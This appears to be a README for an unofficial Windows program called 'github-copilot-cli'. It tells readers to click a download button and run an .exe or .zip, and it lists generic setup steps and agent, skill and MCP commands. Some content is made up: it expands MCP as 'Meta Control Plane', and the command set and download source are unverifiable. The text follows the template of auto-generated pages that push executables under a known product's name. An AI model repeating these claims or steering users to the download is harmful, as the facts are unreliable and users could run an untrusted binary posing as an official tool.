github-copilot-cli is a tool to customize GitHub Copilot for use directly in the terminal. It lets you create your own agents, set up instructions, add skills, and adjust MCP (Meta Control Plane) settings. This is a command-line program. It does not require Visual Studio Code.
The app helps you get more from GitHub Copilot outside of the code editor environment. It runs in the terminal, which means you control it with text commands.
- Windows 10 or newer
- At least 4GB of RAM
- 500 MB free storage space
- Internet connection to download and use the service
- PowerShell or Command Prompt (comes standard with Windows)
- Create and manage custom agents for your tasks
- Build and assign new skills to your agents
- Modify MCP settings to control AI behavior
- Use all features without needing Visual Studio Code
- Terminal-only interface for fast, keyboard-driven use
- Supports AI-based automation directly from your PC
Click the big green button below or visit the link to get the files for Windows.
This link will take you to the main GitHub page for the project. Look for the latest release or the main download folder.
Once on the page, look for a file ending in .exe or .zip designed for Windows. This file contains the program you will run.
- If you downloaded a
.zipfile, right-click and select "Extract All..." to unzip the files to a folder you choose. - If you downloaded an
.exefile, double-click it to start the installer or to run the program directly.
- Press the Windows key on your keyboard.
- Type "PowerShell" or "Command Prompt".
- Click to open your terminal program.
Use this command to go to where your files are:
cd C:\Path\to\Your\github-copilot-cli
Replace C:\Path\to\Your\github-copilot-cli with the real folder path where the app is.
Type this and press Enter:
github-copilot-cli.exe
If you see a welcome message or command prompt, you're ready to use it.
Here are some simple commands to get you started:
agent create [name]: Creates a new agent with your chosen name.agent list: Shows all your current agents.skill add [agent name] [skill]: Adds a skill to an agent.mcp config set [option] [value]: Changes the MCP setting.help: Shows all available commands.
Type help anytime to see what you can do.
Check the download page regularly for new versions. When you find a newer version:
- Download the latest
.exeor.zipfile. - Replace your old files with the new ones.
- Run the updated program as before.
- If the program doesn’t start, make sure you are in the correct folder in the terminal.
- If commands don’t work, type
helpto check the syntax. - Ensure your Windows version is 10 or above.
- Check your internet connection to allow the app to access online features.
- Try running the terminal as an administrator if you have permission issues.
- Primary Download Link
- GitHub page for updates and support
You can tailor the AI to your needs:
- Use
agent createto start a new persona or helper. - Add skills relevant to your work or interests.
- Adjust instructions or MCP configurations to control agent behavior.
- Experiment to find setups that fit your workflow.
The app keeps things simple but flexible enough for many uses.
- Learn more about command-line basics on Microsoft’s official site.
- Explore the GitHub Copilot documentation for AI background.
- Find tutorials on using terminal programs effectively.
Helping yourself with tips will improve your experience using github-copilot-cli.